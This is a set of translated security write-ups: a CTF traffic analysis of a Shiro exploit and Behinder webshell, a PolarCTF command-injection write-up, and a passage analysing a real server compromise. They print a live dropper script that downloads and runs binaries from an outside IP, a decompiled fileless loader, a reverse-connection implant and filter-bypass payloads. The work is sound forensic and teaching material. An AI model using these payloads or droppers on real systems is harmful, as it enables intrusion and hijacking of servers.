bArr) throws Exception { SecretKeySpec secretKeySpec = new SecretKeySpec("1f2c8075acd3d118".getBytes("utf-8"), "AES"); Cipher cipher = Cipher.getInstance("AES/ECB/PKCS5Padding"); cipher.init(1, secretKeySpec); byte[] bArrDoFinal = cipher.doFinal(bArr); try { Class<?> cls = Class.forName("java.util.Base64"); Object objInvoke = cls.getMethod("getEncoder", null).invoke(cls, null); bArrDoFinal = (byte[]) objInvoke.getClass().getMethod("encode", byte[].class).invoke(objInvoke, bArrDoFinal); } catch (Throwable th) { Object objNewInstance = Class.forName("sun.misc.BASE64Encoder").newInstance(); bArrDoFinal = ((String) objNewInstance.getClass().getMethod("encode", byte[].class).invoke(objNewInstance, bArrDoFinal)).replace("\n", "").replace("\r", "").getBytes(); } return bArrDoFinal; } public Huhmocmx() { whatever = ""; whatever += "[binary]"; } public boolean equals(Object obj) throws IllegalAccessException, NoSuchMethodException, SecurityException, IllegalArgumentException, InvocationTargetException { Map<String, String> result = new HashMap<>(); try { fillContext(obj); StringBuilder basicInfo = new StringBuilder(" 环境变量: "); Map<String, String> env = System.getenv(); for (String name : env.keySet()) { basicInfo.append(name + "=" + env.get(name) + " "); } basicInfo.append(" JRE系统属性: "); Properties props = System.getProperties(); Set<Map.Entry<Object, Object>> entrySet = props.entrySet(); for (Map.Entry<Object, Object> entry : entrySet) { basicInfo.append(entry.getKey() + " = " + entry.getValue() + " "); } String currentPath = new File("").getAbsolutePath(); String driveList = ""; File[] roots = File.listRoots(); for (File f : roots) { driveList = driveList + f.getPath() + ";"; } String osInfo = System.getProperty("os.name") + System.getProperty("os.version") + System.getProperty("os.arch"); Map<String, String> entity = new HashMap<>(); entity.put("basicInfo", basicInfo.toString()); entity.put("currentPath", currentPath); entity.put("driveList", driveList); entity.put("osInfo", osInfo); entity.put("arch", System.getProperty("os.arch")); entity.put("localIp", getInnerIp()); result.put("status", "success"); result.put("msg", buildJson(entity, true)); try { Object so = this.Response.getClass().getMethod("getOutputStream", new Class[0]).invoke(this.Response, new Object[0]); Method write = so.getClass().getMethod("write", byte[].class); write.invoke(so, Encrypt(buildJson(result, true).getBytes("UTF-8"))); so.getClass().getMethod("flush", new Class[0]).invoke(so, new Object[0]); so.getClass().getMethod("close", new Class[0]).invoke(so, new Object[0]); return true; } catch (Exception e) { return true; } } catch (Exception e2) { try { Object so2 = this.Response.getClass().getMethod("getOutputStream", new Class[0]).invoke(this.Response, new Object[0]); Method write2 = so2.getClass().getMethod("write", byte[].class); write2.invoke(so2, Encrypt(buildJson(result, true).getBytes("UTF-8"))); so2.getClass().getMethod("flush", new Class[0]).invoke(so2, new Object[0]); so2.getClass().getMethod("close", new Class[0]).invoke(so2, new Object[0]); return true; } catch (Exception e3) { return true; } } catch (Throwable th) { try { Object so3 = this.Response.getClass().getMethod("getOutputStream", new Class[0]).invoke(this.Response, new Object[0]); Method write3 = so3.getClass().getMethod("write", byte[].class); write3.invoke(so3, Encrypt(buildJson(result, true).getBytes("UTF-8"))); so3.getClass().getMethod("flush", new Class[0]).invoke(so3, new Object[0]); so3.getClass().getMethod("close", new Class[0]).invoke(so3, new Object[0]); } catch (Exception e4) { } throw th; } } private String getInnerIp() throws SocketException { String ips = ""; try { Enumeration<NetworkInterface> netInterfaces = NetworkInterface.getNetworkInterfaces(); while (netInterfaces.hasMoreElements()) { NetworkInterface netInterface = netInterfaces.nextElement(); Enumeration<InetAddress> addresses = netInterface.getInetAddresses(); while (addresses.hasMoreElements()) { InetAddress ip = addresses.nextElement(); if (ip != null && (ip instanceof Inet4Address)) { ips = ips + ip.getHostAddress() + " "; } } } } catch (Exception e) { } return ips.replace("127.0.0.1", "").trim(); } private String buildJson(Map<String, String> entity, boolean encode) throws Exception { StringBuilder sb = new StringBuilder(); String version = System.getProperty("java.version"); sb.append("{"); for (String key : entity.keySet()) { sb.append("\"" + key + "\":\""); String value = entity.get(key).toString(); if (encode) { if (version.compareTo("1.9") >= 0) { getClass(); Class Base64 = Class.forName("java.util.Base64"); Object Encoder = Base64.getMethod("getEncoder", null).invoke(Base64, null); value = (String) Encoder.getClass().getMethod("encodeToString", byte[].class).invoke(Encoder, value.getBytes("UTF-8")); } else { getClass(); Object Encoder2 = Class.forName("sun.misc.BASE64Encoder").newInstance(); value = ((String) Encoder2.getClass().getMethod("encode", byte[].class).invoke(Encoder2, value.getBytes("UTF-8"))).replace("\n", "").replace("\r", ""); } } sb.append(value); sb.append("\","); } sb.setLength(sb.length() - 1); sb.append("}"); return sb.toString(); } private String base64encode(byte[] data) throws Exception { String result; System.getProperty("java.version"); try { getClass(); Class Base64 = Class.forName("java.util.Base64"); Object Encoder = Base64.getMethod("getEncoder", null).invoke(Base64, null); result = (String) Encoder.getClass().getMethod("encodeToString", byte[].class).invoke(Encoder, data); } catch (Throwable th) { getClass(); Object Encoder2 = Class.forName("sun.misc.BASE64Encoder").newInstance(); String result2 = (String) Encoder2.getClass().getMethod("encode", byte[].class).invoke(Encoder2, data); result = result2.replace("\n", "").replace("\r", ""); } return result; } private void fillContext(Object obj) throws Exception { if (obj.getClass().getName().indexOf("PageContext") >= 0) { this.Request = obj.getClass().getMethod("getRequest", new Class[0]).invoke(obj, new Object[0]); this.Response = obj.getClass().getMethod("getResponse", new Class[0]).invoke(obj, new Object[0]); this.Session = obj.getClass().getMethod("getSession", new Class[0]).invoke(obj, new Object[0]); } else { Map<String, Object> objMap = (Map) obj; this.Session = objMap.get("session"); this.Response = objMap.get("response"); this.Request = objMap.get("request"); } this.Response.getClass().getMethod("setCharacterEncoding", String.class).invoke(this.Response, "UTF-8"); } private byte[] getMagic() throws Exception { String key = this.Session.getClass().getMethod("getAttribute", String.class).invoke(this.Session, "u").toString(); int magicNum = Integer.parseInt(key.substring(0, 2), 16) % 16; Random random = new Random(); byte[] buf = new byte[magicNum]; for (int i = 0; i < buf.length; i++) { buf[i] = (byte) random.nextInt(256); } return buf; } } {/collapse-item} {/collapse} This retrieved system information. Decoding the response confirmed this. Subsequent decryption and reversal revealed the execution of several system commands, including listing /tmp, /var, /var/tmp. Later, a file write operation was found: package sun.yxiw; ... /* compiled from: FileOperation.java */ /* loaded from: payload-favicondemo(18).ico.class */ public class Auydc { ... public Auydc() { mode = ""; mode += "update"; path = ""; path += "/var/tmp/out"; blockIndex = ""; blockIndex += "2"; blockSize = ""; blockSize += "30720"; content = ""; content += "h61Bx+...X2zlQkI5M"; this.osCharset = Charset.forName(System.getProperty("sun.jnu.encoding")); } ... } This appended Base64-decoded content to /var/tmp/out. Many similar append requests followed. Wireshark's Export Objects feature was used to export all 737 files related to /favicondemo.ico. A Python script was written to decrypt and save them as class files or text files based on content. This revealed the multi-part upload of a binary. Finally, a hash check was performed: package sun.pquyv; ... /* compiled from: FileOperation.java */ /* loaded from: payload-favicondemo(722).ico.class */ public class Yfnc { ... public Yfnc() { mode = ""; mode += "check"; path = ""; path += "/var/tmp/out"; hash = ""; hash += "a0275c1593af1adb"; this.osCharset = Charset.forName(System.getProperty("sun.jnu.encoding")); } private String checkFileHash(String path2) throws Exception { FileChannel ch = (FileChannel) sessionGetAttribute(this.Session, path2); if (ch != null && ch.isOpen()) { ch.close(); } byte[] input = getFileData(path2); if (input == null || input.length == 0) { return null; } MessageDigest md5 = MessageDigest.getInstance("MD5"); md5.update(input); byte[] byteArray = md5.digest(); StringBuilder sb = new StringBuilder(); for (byte b : byteArray) { sb.append(String.format("%02x", Byte.valueOf(b))); } return sb.substring(0, 16); } ... } Execution permissions were granted: package net.zlzbr.fsio.vbycsd; ... /* compiled from: Cmd.java */ /* loaded from: payload-favicondemo(734).ico.class */ public class Xxzrrw { public static String cmd; public static String path; public static String whatever; private static String status = "success"; private Object Request; private Object Response; private Object Session; ... public Xxzrrw() { cmd = ""; cmd += "cd /var/tmp/ ;chmod +x out"; path = ""; path += "/var/tmp/"; } ... } Then it was executed: package org.zhnnj; ... /* compiled from: Cmd.java */ /* loaded from: payload-favicondemo(736).ico.class */ public class Imrdoaaxs { ... public Imrdoaaxs() { cmd = ""; cmd += "cd /var/tmp/ ;./out --aes-key IhbJfHI98nuSvs5JweD5qsNvSQ/HHcE/SNLyEBU9Phs="; path = ""; path += "/var/tmp/"; } ... } This provided an aes-key: IhbJfHI98nuSvs5JweD5qsNvSQ/HHcE/SNLyEBU9Phs=. No further HTTP communication occurred after this. Layer 3: Custom Shell Following the HTTP stream, a TCP stream communication was found. Dumping it revealed: 1f000000 33740a2c22b1e703d2f1480b321f3e4cdc8eb50da84ca0a76543b6bbadf60a 24000000 5c8a2365d717d71114b7be5599d5cfff553f2f0b2251505c3f5ada10a77be1bf35852f9c 1e000000 e3ee79aaf91b813d407e18095278046d32c10567fe57d60459d32f6df234 1f000000 bd345efc1465b04f38a410a09ed999e9849a570c27dd75e8d6b8aac5a4f22f 30000000 be53ef2dc360548f22bd7145f4e1733ffeb228db69b28e76ccb65ea9d8e33a709cfae6579a795f4045dbc2f6300cd871 2b000000 2b7991ad1cfcb2c0b334f5ee5cfb1be844f232c5062190e5e7bfb2208ef40aec6cff1aa7df01285fd3a92a 6e000000 8ac33897541bf959bb223309ffa07a25c49245bb988404180f84d7baef2c2ca8dfd669d39d3fa9c9e66b3da81834c7121cad53ffb16b38dcb062b2b3ce1b634f3bac9ed6e161661efb67ab754eb078718c484cb1b9ec873a103035fdc0b28ed418aa11e68b561599b9685ae54b95 69000000 5fb656ee12487f33e75202b3bec1a6728977618d6b221fb887fa90d36cb5ff75949c1ae90608e22fc81a12fb2e576dd2df4330fcbf619b19455dcfe6c9ae2a8e730cf9010dcc3a15f04bec1fa70b051792d4e197cee0f075405b366472711d1d94f5bb349348bf05d5 24000000 410d930f46d9e71c2200eb1fc4ec9986fd2d72ab2c35aa85fe66fa664a3729e3e9a906b6 1f000000 7ccb9636b4b330000914519540b5a3b0bacb6f594c3b03ff582d62084c1af4 Due to the variable length, ECB and CBC were unlikely. GCM was considered a strong possibility, especially as the first two command lengths (31 and 30 bytes after decryption) corresponded to typical commands like pwd and ls, with the remaining bytes matching GCM's structure (12-byte nonce, 16-byte tag). Attempting GCM decryption: import base64 import binascii from Crypto.Cipher import AES key = base64.b64decode("IhbJfHI98nuSvs5JweD5qsNvSQ/HHcE/SNLyEBU9Phs=") hex_str = """ 1f000000 33740a2c22b1e703d2f1480b321f3e4cdc8eb50da84ca0a76543b6bbadf60a 24000000 5c8a2365d717d71114b7be5599d5cfff553f2f0b2251505c3f5ada10a77be1bf35852f9c 1e000000 e3ee79aaf91b813d407e18095278046d32c10567fe57d60459d32f6df234 1f000000 bd345efc1465b04f38a410a09ed999e9849a570c27dd75e8d6b8aac5a4f22f 30000000 be53ef2dc360548f22bd7145f4e1733ffeb228db69b28e76ccb65ea9d8e33a709cfae6579a795f4045dbc2f6300cd871 2b000000 2b7991ad1cfcb2c0b334f5ee5cfb1be844f232c5062190e5e7bfb2208ef40aec6cff1aa7df01285fd3a92a 6e000000 8ac33897541bf959bb223309ffa07a25c49245bb988404180f84d7baef2c2ca8dfd669d39d3fa9c9e66b3da81834c7121cad53ffb16b38dcb062b2b3ce1b634f3bac9ed6e161661efb67ab754eb078718c484cb1b9ec873a103035fdc0b28ed418aa11e68b561599b9685ae54b95 69000000 5fb656ee12487f33e75202b3bec1a6728977618d6b221fb887fa90d36cb5ff75949c1ae90608e22fc81a12fb2e576dd2df4330fcbf619b19455dcfe6c9ae2a8e730cf9010dcc3a15f04bec1fa70b051792d4e197cee0f075405b366472711d1d94f5bb349348bf05d5 24000000 410d930f46d9e71c2200eb1fc4ec9986fd2d72ab2c35aa85fe66fa664a3729e3e9a906b6 1f000000 7ccb9636b4b330000914519540b5a3b0bacb6f594c3b03ff582d62084c1af4 """.replace('\n', '').replace(' ', '') data = binascii.unhexlify(hex_str) i = 0 chunk_idx = 0 while i < len(data): length = int.from_bytes(data[i:i+4], 'little') i += 4 chunk = data[i:i+length] i += length nonce = chunk[:12] ciphertext = chunk[12:-16] tag = chunk[-16:] cipher = AES.new(key, AES.MODE_GCM, nonce=nonce) plaintext = cipher.decrypt_and_verify(ciphertext, tag) print(f"{chunk_idx}: len{len(plaintext)}: {plaintext}") chunk_idx += 1 The output was: 0: len3: b'pwd' 1: len8: b'/var/tmp' 2: len2: b'ls' 3: len3: b'out' 4: len20: b'echo Congratulations' 5: len15: b'Congratulations' 6: len82: b'echo 3SoX7GyGU1KBVYS3DYFbfqQ2CHqH2aPGwpfeyvv5MPY5Dm1Wt9VYRumoUvzdmoLw6FUm4AMqR5zoi' 7: len77: b'3SoX7GyGU1KBVYS3DYFbfqQ2CHqH2aPGwpfeyvv5MPY5Dm1Wt9VYRumoUvzdmoLw6FUm4AMqR5zoi' 8: len8: b'echo bye' 9: len3: b'bye' Putting 3SoX7GyGU1KBVYS3DYFbfqQ2CHqH2aPGwpfeyvv5MPY5Dm1Wt9VYRumoUvzdmoLw6FUm4AMqR5zoi through CyberChef, applying Base58 then Base64 decryption yielded the Flag: dart{d9850b27-85cb-4777-85e0-df0b78fdb722} A later attempt to fully extract and reverse engineer the binary uploaded in chunks confirmed it was a PyInstaller-packaged ELF. Decompiling the extracted inspect.pyc revealed: # Visit https://www.lddgo.net/string/pyc-compile-decompile for more information # Version : Python 3.9 import os import socket import struct import subprocess import argparse import settings import base64 from cryptography.hazmat.primitives.ciphers.aead import AESGCM SERVER_LISTEN_IP = '10.1.243.155' SERVER_LISTEN_PORT = 7788 IMPLANT_CONNECT_IP = '10.1.243.155' IMPLANT_CONNECT_PORT = 7788 SERVER_LISTEN_NUM = 20 _aesgcm = None def set_aes_key(key_b64 = None): global _aesgcm key = base64.b64decode(key_b64) if len(key) not in (16, 24, 32): raise ValueError('AES 密钥长度必须为 16, 24 或 32 字节（对应 128, 192, 256 位）') _aesgcm = None(key) def encrypt_data(data = None): if _aesgcm is None: raise RuntimeError('AES 密钥未初始化，请先调用 set_aes_key()') nonce = None.urandom(12) ciphertext = _aesgcm.encrypt(nonce, data, None) return nonce + ciphertext def decrypt_data(encrypted_data = None): if _aesgcm is None: raise RuntimeError('AES 密钥未初始化，请先调用 set_aes_key()') if None(encrypted_data) < 28: raise ValueError('加密数据太短，无法包含 nonce 和认证标签') nonce = None[:12] ciphertext_with_tag = encrypted_data[12:] plaintext = _aesgcm.decrypt(nonce, ciphertext_with_tag, None) return plaintext def exec_cmd(command, code_flag): command = command.decode('utf-8') # WARNING: Decompyle incomplete def send_data(conn, data): if type(data) == str: data = data.encode('utf-8') encrypted_data = settings.encrypt_data(data) cmd_len = struct.pack('i', len(encrypted_data)) conn.send(cmd_len) conn.send(encrypted_data) def recv_data(sock, buf_size = (1024,)): x = sock.recv(4) all_size = struct.unpack('i', x)[0] recv_size = 0 encrypted_data = b'' if recv_size < all_size: encrypted_data += sock.recv(buf_size) recv_size += buf_size continue data = settings.decrypt_data(encrypted_data) return data def main(): sock = socket.socket() sock.connect((settings.IMPLANT_CONNECT_IP, settings.IMPLANT_CONNECT_PORT)) code_flag = 'gbk' if os.name == 'nt' else 'utf-8' # WARNING: Decompyle incomplete if __name__ == '__main__': parser = argparse.ArgumentParser('', **('description',)) parser.add_argument('--aes-key', True, '', **('required', 'help')) args = parser.parse_args() settings.set_aes_key(args.aes_key) main() This confirmed the use of AES-GCM. Summary The complete attack chain was as follows: sequenceDiagram participant Attacker as Attacker / C2 Server participant WebServer as Web App Layer (Shiro / Behinder WebShell) participant OS as Underlying System (Linux OS) rect rgb(240, 248, 255) note right of Attacker: Phase 1: Shiro Exploitation & RCE Attacker->>WebServer: Continuous brute-force of rememberMe Cookie (CVE-2016-4437) WebServer-->>Attacker: 302 Redirect (Brute-force successful, AES Key obtained) Attacker->>WebServer: Send RCE Payload (Commands via Authorization header) WebServer->>OS: Spawn process to execute commands (whoami, ls -la, etc.) OS-->>WebServer: Return standard output (root, etc.) WebServer-->>Attacker: Return Base64 encrypted command results end rect rgb(255, 240, 245) note right of Attacker: Phase 2: Inject Memory-Shell & Post-Exploration Attacker->>WebServer: POST request to inject Behinder memory-shell WebServer-->>Attacker: Return injection success indicator (->|Success|<-) Attacker->>WebServer: Access /favicondemo.ico, send AES encrypted Java Classes WebServer->>OS: Read environment variables, network info, list /tmp & /var/tmp OS-->>WebServer: Return system status and file lists WebServer-->>Attacker: Return AES encrypted exploration results end rect rgb(240, 255, 240) note right of Attacker: Phase 3: Chunked Upload & Execution of Persistent Malware Attacker->>WebServer: Multiple requests to upload ELF malware in chunks WebServer->>OS: Append payload chunks to /var/tmp/out Attacker->>WebServer: Send hash verification request WebServer->>OS: Calculate MD5 hash of /var/tmp/out OS-->>WebServer: Verification successful WebServer-->>Attacker: Return hash confirming file integrity Attacker->>WebServer: Send commands chmod +x out and ./out --aes-key ... WebServer->>OS: Grant execute permissions and run malware with key parameter end rect rgb(255, 253, 230) note right of Attacker: Phase 4: TCP Reverse Connection & Deep Control OS->>Attacker: Pyinstaller malware initiates TCP reverse connection to C2 (10.1.243.155:7788) Attacker->>OS: Send AES-GCM encrypted commands (pwd, ls, echo) OS-->>Attacker: Return encrypted execution results (final output includes Flag) end Phase 1: Shiro Vulnerability Exploitation and RCE Verification The attacker successfully brute-forced the Apache Shiro AES key by sending GET requests containing rememberMe cookies. Subsequently, the attacker used the Authorization header to pass encrypted commands. The web server executed commands like whoami and returned the Base64 encrypted result root. Phase 2: Implanting Memory Webshell and Initial Control The attacker sent a POST request to the / path containing a Java class, successfully injecting a Behinder memory webshell, establishing the C2 channel on the /favicondemo.ico path. The attacker sent AES-encrypted Java classes through this channel, using the web application layer to read the underlying system's environment variables, IP information (172.18.0.2), and execute basic system commands (e.g., ps -ef). Phase 3: Malware Upload and Execution Through the webshell, the attacker used blockIndex and blockSize parameters to upload an ELF binary in chunks, appending it to /var/tmp/out, and verified its hash (a0275c1593af1adb). The attacker issued the shell command chmod +x out to grant execution permissions and ran the malware on the underlying system using ./out --aes-key .... Phase 4: TCP Reverse Connection to Obtain Flag Once executed, the Python-based malware bypassed the web layer and actively initiated a TCP connection to the attacker's C2 server (10.1.243.155:7788). Both parties switched to AES-GCM encryption. The attacker issued remote control commands like pwd, ls, and echo Congratulations, ultimately retrieving the Flag from the final response. Overall, it was quite an interesting challenge.
PolarCTF 2025 Winter Competition Web Polarflag WriteUp
Opening the webpage, you can see it is a login page: Attempting to scan with dirsearch yields: Target: http://8c9e4bf8-68c2-4c3f-bf12-2b578912c971.game.polarctf.com:8090/ [15:15:01] Starting: [15:15:04] 403 - 319B - /.ht_wsr.txt [15:15:04] 403 - 319B - /.htaccess.bak1 [15:15:04] 403 - 319B - /.htaccess.orig [15:15:04] 403 - 319B - /.htaccess.sample [15:15:04] 403 - 319B - /.htaccess.save [15:15:04] 403 - 319B - /.htaccess_orig [15:15:04] 403 - 319B - /.htaccess_extra [15:15:04] 403 - 319B - /.htaccess_sc [15:15:04] 403 - 319B - /.htaccessBAK [15:15:04] 403 - 319B - /.htaccessOLD [15:15:04] 403 - 319B - /.htaccessOLD2 [15:15:04] 403 - 319B - /.htm [15:15:04] 403 - 319B - /.html [15:15:04] 403 - 319B - /.htpasswd_test [15:15:04] 403 - 319B - /.htpasswds [15:15:04] 403 - 319B - /.httr-oauth [15:15:19] 200 - 448B - /flag.txt [15:15:20] 200 - 3KB - /index.php [15:15:20] 200 - 3KB - /index.php/login/ [15:15:28] 403 - 319B - /server-status/ [15:15:28] 403 - 319B - /server-status Task Completed Discover /flag.txt, access it: <?php $original = "flag{polar_flag_in_here}"; $ascii_codes = [117, 115, 101, 114, 110, 97, 109, 101]; $new = ""; foreach ($ascii_codes as $code) { $new .= chr($code); } function replaceString($original, $new) { $temp = str_replace("flag{", "the_", $original); $temp = str_replace("polar_flag_in_here}", $new . "_is_polar", $temp); return $temp; } $result = replaceString($orginal, $ne1w); echo "flag{polar_flag_in_here}"; ?> Attempting to run it reveals a syntax error. Correct it: ... return $temp; } -$result = replaceString($orginal, $ne1w); +$result = replaceString($original, $new); -echo "flag{polar_flag_in_here}"; +echo $result; Running it yields: the_username_is_polar, hinting that the username is polar. Meanwhile, the challenge attachment provides a dictionary wordlist.txt. Attempt brute-forcing with BurpSuite: Brute-forcing reveals that when the password is 6666, it redirects to /polar.php: Access /polar.php, obtain: <?php error_reporting(0); session_start(); if(isset($_GET['logout'])){ session_destroy(); header('Location: index.php'); exit(); } // Initialize session variable if(!isset($_SESSION['collision_passed'])) { $_SESSION['collision_passed'] = false; } // The one who wants to win has no smile on their face if(isset($_POST['a']) && isset($_POST['b'])) { if($_POST['a'] != $_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) { echo "MD5 Well done \n"; $_SESSION['collision_passed'] = true; } else { echo "MD5 Not good enough\n"; $_SESSION['collision_passed'] = false; } } if(isset($_GET["polar"])){ if($_SESSION['collision_passed']) { if(preg_match('/et|echo|cat|tac|base|sh|tar|more|less|tail|nl|fl|vi|head|env|\||;|\^|\'|\]|"|<|>|`|\/| |\\\\|\*/i',$_GET["polar"])){ echo "gun gun !"; } else { echo "polar polar !"; system($_GET["polar"]); } } else { echo "Go back, this part isn't needed\n"; } } else { show_source(__FILE__); echo ' Go home'; } ?> First, bypass the MD5 check by passing a[]=1&b[]=2: POST /polar.php HTTP/1.1 Host: 350eddd0-fd57-4dd0-94d3-c0c8888afd7d.game.polarctf.com:8090 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.95 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 11 a[]=1&b[]=2 The server returns: Set-Cookie: PHPSESSID=443dctaboep4kh53upn3v2pqal; path=/ And prompts MD5 Well done, successfully bypassing. Since I used BurpSuite to send the request, I plan to use a regular browser next, so I write this cookie into the browser. Then directly access /polar.php?polar= to pass commands, no need to bypass MD5 again. Observing the regex filtering rules, many characters are blocked, including a series of symbols. First, try exporting environment variables with export, and discover a Flag: flag{7b93dd56-4f33-4738-b916-464a984093b3}, but submitting it shows it's incorrect. Asking customer service confirms this Flag is wrong. Since spaces are filtered, use $IFS$1 or %09 (Tab) to bypass. Also, because / is blocked, use ${PWD:0:1} (extract the first character of the PWD environment variable, which is /) instead. Construct the request: http://350eddd0-fd57-4dd0-94d3-c0c8888afd7d.game.polarctf.com:8090/polar.php?polar=ls%09${PWD:0:1} Obtain: polar polar !bin dev etc home lib media mnt opt polarflag proc root run sbin srv sys tmp usr var Discover the Flag file: /polarflag. Since fl is filtered, cannot directly call the filename, so use ????????? to match a 9-character file. Commands like cat, tail, more, less that can print content are disabled, but commands like sort can still be used and also print content: http://350eddd0-fd57-4dd0-94d3-c0c8888afd7d.game.polarctf.com:8090/polar.php?polar=sort%09${PWD:0:1}????????? Obtain the Flag: flag{polarctf1314inwebgame}
The Reverse Engineering Journey: Analyzing a Server Compromise via RCE from CVE-2025-66478 and CVE-2025-55182
Background It was Saturday evening, and I was resting when Alibaba Cloud suddenly called, saying the server might have been hacked by intruders. I logged into the Alibaba Cloud console to check: What I had been worrying about finally happened. The recently disclosed CVE-2025-55182 vulnerability is exploitable for RCE (Remote Code Execution). The Umami analytics tool running on my server used a vulnerable version of Next.JS. Earlier in the morning, I had manually updated my Umami, but it seems the official patch had not been released yet. The server alert originated from the umami container, which executed a remote shell script. As a CTFer, it's hard to resist analyzing a sample delivered right to your doorstep, right? Analysis The Script The warning from Alibaba Cloud showed the execution of a shell script: /bin/sh -c wget https://sup001.oss-cn-hongkong.aliyuncs.com/123/python1.sh && chmod 777 python1.sh && ./python1.sh I tried to manually download that python1.sh: export PATH=$PATH:/bin:/usr/bin:/sbin:/usr/local/bin:/usr/sbin mkdir -p /tmp cd /tmp touch /usr/local/bin/writeablex >/dev/null 2>&1 && cd /usr/local/bin/ touch /usr/libexec/writeablex >/dev/null 2>&1 && cd /usr/libexec/ touch /usr/bin/writeablex >/dev/null 2>&1 && cd /usr/bin/ rm -rf /usr/local/bin/writeablex /usr/libexec/writeablex /usr/bin/writeablex export PATH=$PATH:$(pwd) l64="119.45.243.154:8443/?h=119.45.243.154&p=8443&t=tcp&a=l64&stage=true" l32="119.45.243.154:8443/?h=119.45.243.154&p=8443&t=tcp&a=l32&stage=true" a64="119.45.243.154:8443/?h=119.45.243.154&p=8443&t=tcp&a=a64&stage=true" a32="119.45.243.154:8443/?h=119.45.243.154&p=8443&t=tcp&a=a32&stage=true" v="042d0094tcp" rm -rf $v ARCH=$(uname -m) if [ ${ARCH}x = "x86_64x" ]; then (curl -fsSL -m180 $l64 -o $v||wget -T180 -q $l64 -O $v||python -c 'import urllib;urllib.urlretrieve("http://'$l64'", "'$v'")') elif [ ${ARCH}x = "i386x" ]; then (curl -fsSL -m180 $l32 -o $v||wget -T180 -q $l32 -O $v||python -c 'import urllib;urllib.urlretrieve("http://'$l32'", "'$v'")') elif [ ${ARCH}x = "i686x" ]; then (curl -fsSL -m180 $l32 -o $v||wget -T180 -q $l32 -O $v||python -c 'import urllib;urllib.urlretrieve("http://'$l32'", "'$v'")') elif [ ${ARCH}x = "aarch64x" ]; then (curl -fsSL -m180 $a64 -o $v||wget -T180 -q $a64 -O $v||python -c 'import urllib;urllib.urlretrieve("http://'$a64'", "'$v'")') elif [ ${ARCH}x = "armv7lx" ]; then (curl -fsSL -m180 $a32 -o $v||wget -T180 -q $a32 -O $v||python -c 'import urllib;urllib.urlretrieve("http://'$a32'", "'$v'")') fi chmod +x $v (nohup $(pwd)/$v > /dev/null 2>&1 &) || (nohup ./$v > /dev/null 2>&1 &) || (nohup /usr/bin/$v > /dev/null 2>&1 &) || (nohup /usr/libexec/$v > /dev/null 2>&1 &) || (nohup /usr/local/bin/$v > /dev/null 2>&1 &) || (nohup /tmp/$v > /dev/null 2>&1 &) # I found that it downloads the corresponding ELF file based on the CPU architecture. The Loader I attempted to manually download the binary for the amd64 architecture specified in the script above and opened it with IDA Pro: int __fastcall main(int argc, const char **argv, const char **envp) { struct hostent *v3; // rax in_addr_t v4; // eax int v5; // eax int v6; // ebx int v7; // r12d int v8; // edx _BYTE *v9; // rax __int64 v10; // rcx _DWORD *v11; // rdi _BYTE buf[2]; // [rsp+2h] [rbp-1476h] BYREF int optval; // [rsp+4h] [rbp-1474h] BYREF char *argva[2]; // [rsp+8h] [rbp-1470h] BYREF sockaddr addr; // [rsp+1Ch] [rbp-145Ch] BYREF char name[33]; // [rsp+2Fh] [rbp-1449h] BYREF char resolved[1024]; // [rsp+50h] [rbp-1428h] BYREF _BYTE v19[4136]; // [rsp+450h] [rbp-1028h] BYREF if ( !access("/tmp/log_de.log", 0) ) exit(0); qmemcpy(name, "119.45.243.154", sizeof(name)); *(_QWORD *)&addr.sa_family = 4213178370LL; *(_QWORD *)&addr.sa_data[6] = 0LL; v3 = gethostbyname(name); if ( v3 ) v4 = **(_DWORD **)v3->h_addr_list; else v4 = inet_addr(name); *(_DWORD *)&addr.sa_data[2] = v4; v5 = socket(2, 1, 0); v6 = v5; if ( v5 >= 0 ) { optval = 10; setsockopt(v5, 6, 7, &optval, 4u); while ( connect(v6, &addr, 0x10u) == -1 ) sleep(0xAu); send(v6, "l64 ", 6uLL, 0); buf[0] = addr.sa_data[0]; buf[1] = addr.sa_data[1]; send(v6, buf, 2uLL, 0); send(v6, name, 0x20uLL, 0); v7 = syscall(319LL, "a", 0LL); if ( v7 >= 0 ) { while ( 1 ) { v8 = recv(v6, v19, 0x1000uLL, 0); if ( v8 <= 0 ) break; v9 = v19; do *v9++ ^= 0x99u; while ( (int)((_DWORD)v9 - (unsigned int)v19) < v8 ); write(v7, v19, v8); } v10 = 1024LL; v11 = v19; while ( v10 ) { *v11++ = 0; --v10; } close(v6); realpath(*argv, resolved); setenv("CWD", resolved, 1); argva[0] = "[kworker/0:2]"; argva[1] = 0LL; fexecve(v7, argva, _bss_start); } } return 0; } Analysis revealed several key malicious operations: v7 = syscall(319LL, "a", 0LL);: 319 corresponds to the memfd_create system call on Linux x64, used to create an anonymous file in memory. Subsequently, it downloads a Payload from the target server and loads it into this memory region for execution. This is a Fileless Malware, which does not store the payload on the disk but loads it directly into memory. *v9++ ^= 0x99u;: Decrypts the downloaded Payload by XOR-ing each byte with 0x99, likely to evade firewall detection. argva[0] = "[kworker/0:2]";: Disguises the process as a kernel kworker process. Other operations: Checks for the existence of the log file /tmp/log_de.log to determine if the server has already been compromised. If so, it exits immediately. If connecting to the C2 server fails, it retries every 10 seconds to connect and load the Payload. The C2 server IP 119.45.243.154 is evident from the reversed code, but the port wasn't immediately obvious. Let's analyze the port setting code: *(_QWORD *)&addr.sa_family = 4213178370LL; Here, 4213178370LL (DEC) = 0xFB200002 (HEX). Since it's a QWORD (64-bit value), the actual value is 0x00000000FB200002. Due to little-endian byte order, the bytes stored in memory would be 02 00 20 FB 00 00 00 00. The typical memory layout for sockaddr is: offset 0–1: sa_family (2 bytes) offset 2–15: sa_data (14 bytes) Thus, the assignment above does the following: offset 0: Low byte of sa_family = 0x02 offset 1: High byte of sa_family = 0x00 offset 2: sa_data[0] = 0x20 offset 3: sa_data[1] = 0xFB offset 4..7: sa_data[2..5] = 0x00 0x00 0x00 0x00 Here, sa_data[0..1] represents the port, and sa_data[2..5] represents the IP address. Since network byte order is big-endian, the actual port is 0x20FB, which is 8443. The IP address assignment is found later: v3 = gethostbyname(name); if ( v3 ) v4 = **(_DWORD **)v3->h_addr_list; else v4 = inet_addr(name); *(_DWORD *)&addr.sa_data[2] = v4; I wrote a Python script to connect 